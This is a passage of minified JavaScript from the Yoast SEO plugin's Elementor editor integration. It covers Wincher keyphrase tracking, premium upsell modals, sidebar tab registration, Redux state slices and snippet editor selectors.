`,Vl=wi().utc().startOf("day"),Gl=[{name:(0,m.__)("Last day","wordpress-seo"),value:wi()(Vl).subtract(1,"days").format(),defaultIndex:1},{name:(0,m.__)("Last week","wordpress-seo"),value:wi()(Vl).subtract(1,"week").format(),defaultIndex:2},{name:(0,m.__)("Last month","wordpress-seo"),value:wi()(Vl).subtract(1,"month").format(),defaultIndex:3},{name:(0,m.__)("Last year","wordpress-seo"),value:wi()(Vl).subtract(1,"year").format(),defaultIndex:0}],Zl=e=>{const{onSelect:t,selected:s,options:r,isLoggedIn:n}=e;return n?r.length<1?null:(0,c.createElement)("select",{className:"components-select-control__input",id:"wincher-period-picker",value:(null==s?void 0:s.value)||r[0].value,onChange:t},r.map((e=>(0,c.createElement)("option",{key:e.name,value:e.value},e.name)))):null};Zl.propTypes={onSelect:y().func.isRequired,selected:y().object,options:y().array.isRequired,isLoggedIn:y().bool.isRequired};const Ql=e=>{const{trackedKeyphrases:t,isLoggedIn:s,keyphrases:r,shouldTrackAll:n,permalink:a,historyDaysLimit:o}=e;if(!a&&s)return(0,c.createElement)(vl,null);if(0===r.length)return(0,c.createElement)(fl,null);const i=wi()(Vl).subtract(o,"days"),l=Gl.filter((e=>wi()(e.value).isSameOrAfter(i))),d=(0,R.orderBy)(l,(e=>e.defaultIndex),"desc")[0],[p,h]=(0,u.useState)(d),[g,y]=(0,u.useState)([]),f=g.length>0,w=(0,Nt.usePrevious)(t);(0,u.useEffect)((()=>{if(!(0,R.isEmpty)(t)&&(0,R.difference)(Object.keys(t),Object.keys(w||[])).length){const e=Object.values(t).map((e=>e.keyword));y(e)}}),[t,w]),(0,u.useEffect)((()=>{h(d)}),[null==d?void 0:d.name]);const b=(0,u.useCallback)((e=>{const t=Gl.find((t=>t.value===e.target.value));t&&h(t)}),[h]),E=(0,u.useMemo)((()=>(0,R.isEmpty)(g)||(0,R.isEmpty)(t)?[]:Object.values(t).filter((e=>{var t;return!(null==e||null===(t=e.position)||void 0===t||!t.history)})).map((e=>{var t;return{label:e.keyword,data:e.position.history,selected:g.includes(e.keyword)&&!(0,R.isEmpty)(null===(t=e.position)||void 0===t?void 0:t.history)}}))),[g,t]);return(0,c.createElement)(Kl,{isDisabled:!s},(0,c.createElement)("p",null,(0,m.__)("You can enable / disable tracking the SEO performance for each keyphrase below.","wordpress-seo")),s&&n&&(0,c.createElement)(wl,null),(0,c.createElement)(zl,null,(0,c.createElement)(Zl,{selected:p,onSelect:b,options:l,isLoggedIn:s})),(0,c.createElement)(Hl,null,(0,c.createElement)(Nl,{isChartShown:f,datasets:E,keyphrases:r})),(0,c.createElement)(ml,{startAt:null==p?void 0:p.value,selectedKeyphrases:g,onSelectKeyphrases:y,trackedKeyphrases:t}))};function Xl(e){const{isNewlyAuthenticated:t,isLoggedIn:s}=e,r=(0,u.useCallback)((()=>{Bl(e)}),[Bl,e]),n=Oi(s);return(0,c.createElement)(Yl,null,t&&(0,c.createElement)(Ui,null),s&&(0,c.createElement)(qi,{trackingInfo:n}),(0,c.createElement)(jl,null,(0,m.__)("SEO performance","wordpress-seo"),(0,c.createElement)(Kt.HelpIcon,{linkTo:wpseoAdminL10n["shortlinks.wincher.seo_performance"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the SEO performance feature.","wordpress-seo")})),(0,c.createElement)(yl,null),(0,c.createElement)(Wl,{isLoggedIn:s,onLogin:r}),(0,c.createElement)(Ul,{...e,onLogin:r}),(0,c.createElement)(Ql,{...e,historyDaysLimit:(null==n?void 0:n.historyDays)||31}))}Ql.propTypes={trackedKeyphrases:y().object,keyphrases:y().array.isRequired,isLoggedIn:y().bool.isRequired,shouldTrackAll:y().bool.isRequired,permalink:y().string.isRequired,historyDaysLimit:y().number},Xl.propTypes={trackedKeyphrases:y().object,addTrackedKeyphrase:y().func.isRequired,isLoggedIn:y().bool,isNewlyAuthenticated:y().bool,keyphrases:y().array,response:y().object,shouldTrackAll:y().bool,permalink:y().string,historyDaysLimit:y().number},Xl.defaultProps={trackedKeyphrases:null,isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],response:{},shouldTrackAll:!1,permalink:"",historyDaysLimit:0};const Jl=(0,Nt.compose)([(0,i.withSelect)((e=>{const{isWincherNewlyAuthenticated:t,getWincherKeyphraseLimitReached:s,getWincherLimit:r,getWincherHistoryDaysLimit:n,getWincherLoginStatus:a,getWincherRequestIsSuccess:o,getWincherRequestResponse:i,getWincherTrackableKeyphrases:l,getWincherTrackedKeyphrases:c,getWincherAllKeyphrasesMissRanking:d,getWincherPermalink:p,shouldWincherAutomaticallyTrackAll:u}=e("yoast-seo/editor");return{keyphrases:l(),trackedKeyphrases:c(),allKeyphrasesMissRanking:d(),isLoggedIn:a(),isNewlyAuthenticated:t(),isSuccess:o(),keyphraseLimitReached:s(),limit:r(),response:i(),shouldTrackAll:u(),permalink:p(),historyDaysLimit:n()}})),(0,i.withDispatch)((e=>{const{setWincherWebsiteId:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherTrackingForKeyphrase:n,setWincherSetKeyphraseLimitReached:a,setWincherLoginStatus:o}=e("yoast-seo/editor");return{setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},addTrackedKeyphrase:e=>{n(e)},setKeyphraseLimitReached:e=>{a(e)},onAuthentication:(e,s,r)=>{t(r),o(e,s)}}}))])(Xl),ec=ht()(ui)`
width: 18px;
height: 18px;
margin: 3px;
`;function tc(e){const{keyphrases:t,onNoKeyphraseSet:s,onOpen:r,location:n}=e;if(!t.length){let e=document.querySelector("#focus-keyword-input-metabox");return e||(e=document.querySelector("#focus-keyword-input-sidebar")),e.focus(),void s()}r(n)}function sc(e){const{location:t,whichModalOpen:s,shouldCloseOnClickOutside:r}=e,n=(0,u.useCallback)((()=>{tc(e)}),[tc,e]),a=(0,m.__)("Track SEO performance","wordpress-seo"),o=kr();return(0,c.createElement)(u.Fragment,null,s===t&&(0,c.createElement)(cs,{title:a,onRequestClose:e.onClose,icon:(0,c.createElement)(yi,null),additionalClassName:"yoast-wincher-seo-performance-modal yoast-gutenberg-modal__no-padding",shouldCloseOnClickOutside:r},(0,c.createElement)(as,{className:"yoast-gutenberg-modal__content yoast-wincher-seo-performance-modal__content"},(0,c.createElement)(Jl,null))),"sidebar"===t&&(0,c.createElement)(zt,{id:`wincher-open-button-${t}`,title:a,SuffixHeroIcon:(0,c.createElement)(ec,{className:"yst-text-slate-500",...o}),onClick:n}),"metabox"===t&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Yt,{id:`wincher-open-button-${t}`,onClick:n},(0,c.createElement)(Yt.Text,null,a),(0,c.createElement)(ui,{className:"yst-h-5 yst-w-5 yst-text-slate-500",...o}))))}sc.propTypes={location:y().string,whichModalOpen:y().oneOf(["none","metabox","sidebar","postpublish"]),shouldCloseOnClickOutside:y().bool,keyphrases:y().array.isRequired,onNoKeyphraseSet:y().func.isRequired,onOpen:y().func.isRequired,onClose:y().func.isRequired},sc.defaultProps={location:"",whichModalOpen:"none",shouldCloseOnClickOutside:!0};const rc=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getWincherModalOpen:t,getWincherTrackableKeyphrases:s}=e("yoast-seo/editor");return{keyphrases:s(),whichModalOpen:t()}})),(0,i.withDispatch)((e=>{const{setWincherOpenModal:t,setWincherDismissModal:s,setWincherNoKeyphrase:r}=e("yoast-seo/editor");return{onOpen:e=>{t(e)},onClose:()=>{s()},onNoKeyphraseSet:()=>{r()}}}))])(sc),nc=e=>(0,c.createElement)(ns,{title:(0,m.__)("Reach a wider audience","wordpress-seo"),description:(0,m.__)("Get help optimizing for up to 5 related keyphrases. This helps you reach a wider audience and get more traffic.","wordpress-seo"),benefitsTitle:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("%s also gives you:","wordpress-seo"),"Yoast SEO Premium"),benefits:ae(),upsellButtonText:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:e.buyLink,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,m.__)("1 year free support and updates included!","wordpress-seo")});nc.propTypes={buyLink:y().string.isRequired};const ac=nc,oc=()=>{const[e,,,t,s]=(0,h.useToggleState)(!1),r=(0,u.useContext)(gt.LocationContext),{locationContext:n}=(0,gt.useRootContext)(),a=(0,h.useSvgAria)(),o=wpseoAdminL10n["sidebar"===r.toLowerCase()?"shortlinks.upsell.sidebar.additional_button":"shortlinks.upsell.metabox.additional_button"];return(0,c.createElement)(c.Fragment,null,e&&(0,c.createElement)(cs,{title:(0,m.__)("Add related keyphrases","wordpress-seo"),onRequestClose:s,additionalClassName:"",id:"yoast-additional-keyphrases-modal",className:`${is} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,shouldCloseOnClickOutside:!0},(0,c.createElement)(os,null,(0,c.createElement)(ac,{buyLink:(0,Ut.addQueryArgs)(o,{context:n})}))),"sidebar"===r&&(0,c.createElement)(zt,{id:"yoast-additional-keyphrase-modal-open-button",title:(0,m.__)("Add related keyphrase","wordpress-seo"),prefixIcon:{icon:"plus",color:va.colors.$color_grey_medium_dark},onClick:t},(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(qt,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...a})))),"metabox"===r&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Yt,{id:"yoast-additional-keyphrase-metabox-modal-open-button",onClick:t},(0,c.createElement)(Kt.SvgIcon,{icon:"plus",color:va.colors.$color_grey_medium_dark}),(0,c.createElement)(Yt.Text,null,(0,m.__)("Add related keyphrase","wordpress-seo")),(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(qt,{className:"yst-w-2.5 yst-h-2.5 yst-me-1 yst-shrink-0",...a}),(0,c.createElement)("span",null,"Premium")))))};function ic({isLoading:e,onLoad:t,settings:s}){const r=(({webinarIntroUrl:e})=>{const{shouldShow:t}=_s(),s=(e=>{for(const t of e)if(null!=t&&t.getIsEligible())return t;return null})([{getIsEligible:()=>t,component:ks},{getIsEligible:_r,component:()=>(0,c.createElement)(Er,{hasIcon:!1,image:null,url:e})},{getIsEligible:()=>!0,component:()=>(0,c.createElement)(ws,{hasIcon:!1})}]);return(null==s?void 0:s.component)||null})({webinarIntroUrl:(0,i.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/webinar-intro-elementor")),[])});return(0,u.useEffect)((()=>{setTimeout((()=>{e&&t()}))})),e?null:(0,c.createElement)(u.Fragment,null,(0,c.createElement)(p.Fill,{name:"YoastElementor"},(0,c.createElement)(nn,{renderPriority:1},(0,c.createElement)(sn,null),r&&(0,c.createElement)("div",{className:"yst-inline-block yst-px-1.5"},(0,c.createElement)(r,null))),s.isKeywordAnalysisActive&&(0,c.createElement)(nn,{renderPriority:8},(0,c.createElement)(ps.KeywordInput,{isSEMrushIntegrationActive:s.isSEMrushIntegrationActive}),!window.wpseoScriptData.metabox.isPremium&&(0,c.createElement)(p.Fill,{name:"YoastRelatedKeyphrases"},(0,c.createElement)(pi,null))),s.isKeywordAnalysisActive&&(0,c.createElement)(nn,{renderPriority:10},(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ps.SeoAnalysis,{shouldUpsell:s.shouldUpsell,shouldUpsellWordFormRecognition:s.isWordFormRecognitionActive,shouldUpsellHighlighting:s.shouldUpsell}),s.shouldUpsell&&(0,c.createElement)(No,null))),s.isContentAnalysisActive&&(0,c.createElement)(nn,{renderPriority:15},(0,c.createElement)(ps.ReadabilityAnalysis,{shouldUpsell:s.shouldUpsell,shouldUpsellHighlighting:s.shouldUpsell})),s.isInclusiveLanguageAnalysisActive&&(0,c.createElement)(nn,{renderPriority:19},(0,c.createElement)(ps.InclusiveLanguageAnalysis,{shouldUpsellHighlighting:s.shouldUpsell})),s.isKeywordAnalysisActive&&(0,c.createElement)(nn,{key:"additional-keywords-upsell",renderPriority:22},s.shouldUpsell&&(0,c.createElement)(oc,null)),s.isKeywordAnalysisActive&&s.isWincherIntegrationActive&&(0,c.createElement)(nn,{key:"wincher-seo-performance",renderPriority:23},(0,c.createElement)(rc,{location:"sidebar",shouldCloseOnClickOutside:!1})),s.shouldUpsell&&(0,c.createElement)(nn,{key:"internal-linking-suggestions-upsell",renderPriority:24},(0,c.createElement)(ds,null)),(0,c.createElement)(nn,{renderPriority:25},(0,c.createElement)(ya,null)),(s.useOpenGraphData||s.useTwitterData)&&(0,c.createElement)(nn,{key:"social-appearance",renderPriority:26},(0,c.createElement)(Ao,{useOpenGraphData:s.useOpenGraphData,useTwitterData:s.useTwitterData})),s.displaySchemaSettings&&(0,c.createElement)(nn,{renderPriority:28},(0,c.createElement)(Uo,{title:(0,m.__)("Schema","wordpress-seo")},(0,c.createElement)(Jo,null))),s.displayAdvancedTab&&(0,c.createElement)(nn,{renderPriority:29},(0,c.createElement)(Uo,{title:(0,m.__)("Advanced","wordpress-seo"),buttonId:"yoast-seo-elementor-advanced-button"},(0,c.createElement)(ii,{location:"sidebar"}))),s.isCornerstoneActive&&(0,c.createElement)(nn,{renderPriority:30},(0,c.createElement)(ms,null)),s.isInsightsEnabled&&(0,c.createElement)(nn,{renderPriority:32},(0,c.createElement)(en,{location:"elementor"}))))}ic.propTypes={isLoading:y().bool.isRequired,onLoad:y().func.isRequired,settings:y().object.isRequired};const lc=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getPreferences:t,getSnippetEditorIsLoading:s}=e("yoast-seo/editor");return{settings:t(),isLoading:s()}})),(0,i.withDispatch)((e=>{const{loadSnippetEditorData:t}=e("yoast-seo/editor");return{onLoad:t}}))])(ic),cc="yoast-elementor-react-tab",dc="yoast-seo-tab",pc="Yoast SEO",uc="panel/page-settings",mc=()=>{const{settings:e}=elementor.documents.getCurrent().config;e.tabs[dc]||(e.tabs=(0,R.reduce)(e.tabs,((e,t,s)=>(e[s]=t,"settings"===s&&(e[dc]=pc),e)),{})),$e.components.get(uc).hasTab(dc)||$e.components.get(uc).addTab(dc,{title:pc})};let hc=!1,gc=!1;const yc=(0,R.debounce)(At,500,{trailing:!0}),fc=()=>{const e=document.getElementById("yoast-form");if(!e)return void console.error("Yoast form not found!");window.YoastSEO=window.YoastSEO||{},window.YoastSEO._registerReactComponent=_t,(()=>{const e=document.createElement("div");e.id="yoast-elementor-react-root",document.body.appendChild(e),function(e,t){const s=ve();bt=(0,u.createRef)();const r={isRtl:s.isRtl};(0,u.render)((0,c.createElement)(ft,{theme:r,location:"sidebar"},(0,c.createElement)(p.SlotFillProvider,null,(0,c.createElement)(u.Fragment,null,t,(0,c.createElement)(Et,{ref:bt})))),document.getElementById(e)),wt.forEach((e=>{bt.current.registerComponent(e.key,e.Component)}))}(e.id,(0,c.createElement)(gt.Root,{context:{locationContext:"elementor-sidebar"}},(0,c.createElement)(Ft,{id:cc},(0,c.createElement)(Mt,null),(0,c.createElement)(lc,null))))})(),Rt("editor/documents/load","yoast-seo/register-tab",mc,(({config:e})=>Ct(e.id))),$e.routes.on("run:after",((e,t)=>{t===`${uc}/${dc}`&&(()=>{if(document.getElementById(cc))return;const e=document.getElementById("elementor-panel-page-settings-controls");if(!e)return;const t=e.querySelector(".elementor-control-yoast-seo-section");t&&(t.style.display="none");const s=document.createElement("div");s.id=cc,s.className="yoast yoast-elementor-panel__fills",e.appendChild(s)})()})),mc(),elementor.getPanelView().getPages("menu").view.addItem({name:"yoast",icon:"yoast yoast-element-menu-icon",title:pc,type:"page",callback:()=>{try{$e.route(`${uc}/${dc}`)}catch(e){$e.route(`${uc}/settings`),$e.route(`${uc}/${dc}`)}}},"more"),((e,t=500)=>{const s=(0,R.debounce)(e,t,{trailing:!0});St("document/elements/settings","yoast-seo/document/post-status",(({settings:e})=>s(e.post_status)),(({container:e,settings:t})=>{var s;return!!Ct((null==e||null===(s=e.document)||void 0===s?void 0:s.id)||elementor.documents.getCurrent().id)&&Boolean(null==t?void 0:t.post_status)}))})((()=>yc(hc)));const t=((e,t=500)=>{const s={},r=Array.from(e.querySelectorAll("input[name^='yoast']")),n=r.reduce(((e,{name:t,value:s})=>(e[t]=s,e)),{}),a={...n},o=new MutationObserver((0,R.debounce)((e=>{const t=[];e.forEach((e=>{"value"===e.attributeName&&e.target.name.startsWith("yoast")&&e.target.value!==n[e.target.name]&&(t.push({input:e.target,name:e.target.name,value:e.target.value,previousValue:n[e.target.name],snapshotValue:a[e.target.name]}),n[e.target.name]=e.target.value)})),t.length>0&&(0,R.forEach)(s,(e=>e(t)))}),t));return{start:()=>o.observe(e,{attributes:!0,subtree:!0}),stop:()=>o.disconnect(),subscribe:e=>{const t=(0,R.uniqueId)("yoast-form-listener");return s[t]=e,()=>delete s[t]},takeSnapshot:()=>{r.forEach((({name:e,value:t})=>{a[e]=t}))},restoreSnapshot:()=>{r.forEach((e=>{e.value=a[e.name],n[e.name]=a[e.name]}))}}})(e);t.subscribe((e=>{e.some((e=>{return t=e.name,s=e.value,r=e.previousValue,!(Pt.includes(t)||Lt.includes(t)&&((e,t)=>{if(t===e)return!0;if(""===t||""===e)return!1;let s,r;try{s=JSON.parse(t),r=JSON.parse(e)}catch(e){return!0}return s.length===r.length&&s.every(((e,t)=>e.keyword===r[t].keyword))})(r,s)||s===r);var t,s,r}))&&(hc=!0,yc(hc),$e.internal("document/save/set-is-modified",{status:!0}))})),t.start(),Tt("editor/documents/open","yoast-seo/document/open",(()=>{YoastSEO.store._freeze(!1),t.start(),(0,l.doAction)("yoast.elementor.toggleFreeze",{isFreeze:!1,isDiscard:!1})}),(({id:e})=>Ct(e))),St("editor/documents/close","yoast-seo/document/close",(0,R.throttle)((({mode:e})=>{t.stop(),"discard"===e&&(YoastSEO.store._restoreSnapshot(),t.restoreSnapshot(),hc=!1,At(hc));const s=()=>{YoastSEO.store._freeze(!0),(0,l.doAction)("yoast.elementor.toggleFreeze",{isFreeze:!0,isDiscard:"discard"===e}),(0,l.removeAction)("yoast.elementor.save.success","yoast/yoast-seo/finishClosingDocument"),(0,l.removeAction)("yoast.elementor.save.failure","yoast/yoast-seo/finishClosingDocument")};if(gc)return(0,l.addAction)("yoast.elementor.save.success","yoast/yoast-seo/finishClosingDocument",s),void(0,l.addAction)("yoast.elementor.save.failure","yoast/yoast-seo/finishClosingDocument",s);s()}),500,{leading:!0,trailing:!1}),(({id:e})=>Ct(e))),Rt("document/save/save","yoast-seo/document/save",(async({document:s})=>{if(gc=!0,!Ct(s.id))return;if(s.id!==elementor.config.document.revisions.current_id)return;hc=!1;const{success:r,formData:n,data:a,xhr:o}=await(e=>new Promise((t=>{const s=jQuery(e).serializeArray().reduce(((e,{name:t,value:s})=>(e[t]=s,e)),{});jQuery.post(e.getAttribute("action"),s).done((({success:e,data:r},n,a)=>t({success:e,formData:s,data:r,xhr:a}))).fail((e=>t({success:!1,formData:s,xhr:e})))})))(e);if(!r)return hc=!0,gc=!1,void(0,l.doAction)("yoast.elementor.save.failure");a.slug&&a.slug!==n.slug&&(0,i.dispatch)("yoast-seo/editor").updateData({slug:a.slug}),(0,i.dispatch)("yoast-seo/editor").setEditorDataSlug(a.slug),At(hc),(0,l.doAction)("yoast.elementor.save.success",o),YoastSEO.store._takeSnapshot(),t.takeSnapshot(),gc=!1}),(({document:e})=>Ct((null==e?void 0:e.id)||elementor.documents.getCurrent().id))),setTimeout((()=>{YoastSEO.store._takeSnapshot(),t.takeSnapshot()}),2e3)},wc=window.yoast.reduxJsToolkit,bc="adminUrl",Ec=(0,wc.createSlice)({name:bc,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),_c=(Ec.getInitialState,{selectAdminUrl:e=>(0,R.get)(e,bc,"")});_c.selectAdminLink=(0,wc.createSelector)([_c.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),Ec.actions,Ec.reducer;const vc="linkParams",kc=(0,wc.createSlice)({name:vc,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),xc=(kc.getInitialState,{selectLinkParam:(e,t,s={})=>(0,R.get)(e,`${vc}.${t}`,s),selectLinkParams:e=>(0,R.get)(e,vc,{})});xc.selectLink=(0,wc.createSelector)([xc.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,Ut.addQueryArgs)(t,{...e,...s}))),kc.actions,kc.reducer;const Sc=(0,wc.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:r,description:n})=>({payload:{id:e||(0,wc.nanoid)(),variant:t,size:s,title:r||"",description:n}})},removeNotification:(e,{payload:t})=>(0,R.omit)(e,t)}}),Tc=(Sc.getInitialState,Sc.actions,Sc.reducer,"pluginUrl"),Rc=(0,wc.createSlice)({name:Tc,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),Cc=(Rc.getInitialState,{selectPluginUrl:e=>(0,R.get)(e,Tc,"")});Cc.selectImageLink=(0,wc.createSelector)([Cc.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,R.trimEnd)(e,"/"),(0,R.trim)(t,"/"),(0,R.trimStart)(s,"/")].join("/"))),Rc.actions,Rc.reducer;const Ic="wistiaEmbedPermission",Pc=(0,wc.createSlice)({name:Ic,initialState:{value:!1,status:le,error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${Ic}/request`,(e=>{e.status=ce})),e.addCase(`${Ic}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${Ic}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,R.get)(t,"error.code",500),message:(0,R.get)(t,"error.message","Unknown")}}))}}),Lc=(Pc.getInitialState,{selectWistiaEmbedPermission:e=>(0,R.get)(e,Ic,{value:!1,status:le}),selectWistiaEmbedPermissionValue:e=>(0,R.get)(e,[Ic,"value"],!1),selectWistiaEmbedPermissionStatus:e=>(0,R.get)(e,[Ic,"status"],le),selectWistiaEmbedPermissionError:e=>(0,R.get)(e,[Ic,"error"],{})}),Ac=(Pc.actions,{[Ic]:async({payload:e})=>xi()({path:"/yoast/v1/wistia_embed_permission",method:"POST",data:{value:Boolean(e)}})});function Oc({alertKey:e}){return new Promise((t=>wpseoApi.post("alerts/dismiss",{key:e},(()=>t()))))}function Fc({query:e,postId:t}){return new Promise((s=>{wpseoApi.get("meta/search",{query:e,post_id:t},(e=>{s(e.meta)}))}))}Pc.reducer;const Dc=async({countryCode:e,keyphrase:t})=>(xi()({path:"yoast/v1/semrush/country_code",method:"POST",data:{country_code:e}}),xi()({path:(0,Ut.addQueryArgs)("/yoast/v1/semrush/related_keyphrases",{keyphrase:t,country_code:e})})),Mc=Ac[Ic];class Nc{static get titleElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_title":"hidden_wpseo_title")}static get descriptionElement(){return document.getElementById(window.wpseoScriptData.isPost?"yoast_wpseo_metadesc":"hidden_wpseo_desc")}static get slugElement(){return document.getElementById("yoast_wpseo_slug")}static get title(){return Nc.titleElement.value}static set title(e){Nc.titleElement.value=e}static get description(){return Nc.descriptionElement.value}static set description(e){Nc.descriptionElement.value=e}static get slug(){return Nc.slugElement.value}static set slug(e){Nc.slugElement.value=e}}const{UPDATE_DATA:qc,LOAD_SNIPPET_EDITOR_DATA:Uc}=Ee.actions;function $c(e){if(e.hasOwnProperty("title")){let t=e.title;e.title===(0,R.get)(window,"wpseoScriptData.metabox.title_template","")&&(t=""),Nc.title=t}if(e.hasOwnProperty("description")){let t=e.description;e.description===(0,R.get)(window,"wpseoScriptData.metabox.metadesc_template","")&&(t=""),Nc.description=t}return e.hasOwnProperty("slug")&&(Nc.slug=e.slug),{type:qc,data:e}}const Bc=()=>{const e=(0,R.get)(window,"wpseoScriptData.metabox.title_template",""),t=(0,R.get)(window,"wpseoScriptData.metabox.metadesc_template","");return{type:Uc,data:{title:Nc.title||e,description:Nc.description||t,slug:Nc.slug},templates:{title:e,description:t}}},Wc="yoast-measurement-element";function Yc(e){let t=document.getElementById(Wc);return t||(t=function(){const e=document.createElement("div");return e.id=Wc,e.style.position="absolute",e.style.left="-9999em",e.style.top=0,e.style.height=0,e.style.overflow="hidden",e.style.fontFamily="arial, sans-serif",e.style.fontSize="20px",e.style.fontWeight="400",document.body.appendChild(e),e}()),t.innerText=e,t.offsetWidth}const{getEditorDataSlug:Kc,getEditorDataTitle:jc,getSnippetEditorDescription:zc,getSnippetEditorSlug:Hc,getSnippetEditorTitle:Vc}=Ee.selectors,Gc=(0,wc.createSelector)([Kc,Hc,jc,()=>(0,R.get)(window,"elementor.documents.currentDocument.id",0)],((e,t,s,r)=>t||e||(0,Ut.cleanForSlug)(s)||String(r))),Zc=(0,wc.createSelector)([Vc,zc,Gc],((e,t,s)=>({title:e,description:t,slug:s}))),{getBaseUrlFromSettings:Qc,getContentLocale:Xc,getEditorDataContent:Jc,getFocusKeyphrase:ed,getSnippetEditorDescriptionWithTemplate:td,getSnippetEditorTitleWithTemplate:sd,getDateFromSettings:rd}=Ee.selectors,nd=e=>{let t=sd(e),s=td(e),r=Gc(e);const n=Qc(e);return t=Ht.strings.stripHTMLTags(De("data_page_title",t)),s=Ht.strings.stripHTMLTags(De("data_meta_desc",s)),r=r.trim().replace(/\s+/g,"-"),{text:Jc(e),title:t,keyword:ed(e),description:s,locale:Xc(e),titleWidth:Yc(t),slug:r,permalink:n+r,date:rd(e)}},ad=e=>{let t=(0,R.get)(e,"editorData.excerpt","");if(""===t){const s="ja"===ke()?80:156;t=function(e,t=156){return(e=(e=(0,pn.stripTags)(e)).trim()).length<=t||(e=e.substring(0,t),/\s/.test(e)&&(e=e.substring(0,e.lastIndexOf(" ")))),e}((0,R.get)(e,"editorData.content",""),s)}return t},od=e=>(0,R.get)(e,"analysisData.snippet.title",""),id=e=>(0,R.get)(e,"analysisData.snippet.description",""),ld=()=>(0,R.get)(window,"wpseoScriptData.metabox.title_template",""),cd=()=>(0,R.get)(window,"wpseoScriptData.metabox.title_template_no_fallback",""),dd=()=>(0,R.get)(window,"wpseoScriptData.metabox.social_title_template",""),pd=()=>(0,R.get)(window,"wpseoScriptData.metabox.metadesc_template",""),ud=()=>(0,R.get)(window,"wpseoScriptData.metabox.social_description_template",""),md=e=>{let t="";return(0,R.get)(e,"snippetEditor.replacementVariables",[]).forEach((e=>{"excerpt"===e.name&&(t=e.value)})),t},hd=e=>(0,R.get)(e,"facebookEditor.title",""),gd=e=>(0,R.get)(e,"facebookEditor.description",""),yd=(0,wc.createSelector)([dd,od,cd,ld],((...e)=>e.find(Boolean)||"")),fd=((0,wc.createSelector)([hd,yd],((e,t)=>e||t)),(0,wc.createSelector)([ud,id,pd,md,ad],((...e)=>{var t;return null!==(t=e.find(Boolean))&&void 0!==t?t:""})));(0,wc.createSelector)([gd,fd],((e,t)=>e||t));const wd=(0,wc.createSelector)([dd,hd,od,cd,ld],((...e)=>e.find(Boolean)||"")),bd=((0,wc.createSelector)([e=>(0,R.get)(e,"twitterEditor.title",""),wd],((e,t)=>e||t)),(0,wc.createSelector)([ud,gd,id,pd,md,ad],((...e)=>{var t;return null!==(t=e.find(Boolean))&&void 0!==t?t:""})));(0,wc.createSelector)([e=>(0,R.get)(e,"twitterEditor.description",""),bd],((e,t)=>e||t));const{selectAdminUrl:Ed,selectAdminLink:_d}=_c,{selectLinkParams:vd,selectLinkParam:kd,selectLink:xd}=xc,{selectPluginUrl:Sd,selectImageLink:Td}=Cc,{selectWistiaEmbedPermission:Rd,selectWistiaEmbedPermissionValue:Cd,selectWistiaEmbedPermissionStatus:Id,selectWistiaEmbedPermissionError:Pd}=Lc,Ld=(0,wc.createSelector)([e=>(0,R.get)(e,"settings.snippetEditor.baseUrl",""),Gc],((e,t)=>e+t)),Ad={content:"",title:"",excerpt:"",slug:"",imageUrl:""},Od="yoastmark";function Fd(e){const t=elementor.settings.page.model.get("post_featured_image"),s=(0,R.get)(t,"url","");return""===s?function(e){const t=we.languageProcessing.imageInText(e);if(0===t.length)return"";const s=jQuery.parseHTML(t.join(""));for(const e of s)if(e.src)return e.src;return""}(e):s}function Dd(){const e=elementor.documents.getCurrent();if(!It())return;if(!["wp-post","wp-page"].includes(e.config.type))return;if((0,i.select)("yoast-seo/editor").getActiveMarker())return;const t=function(e){const t=function(e){var t;const s=[];return null===(t=e.$element)||void 0===t||t.find(".elementor-widget-container").each(((e,t)=>{const 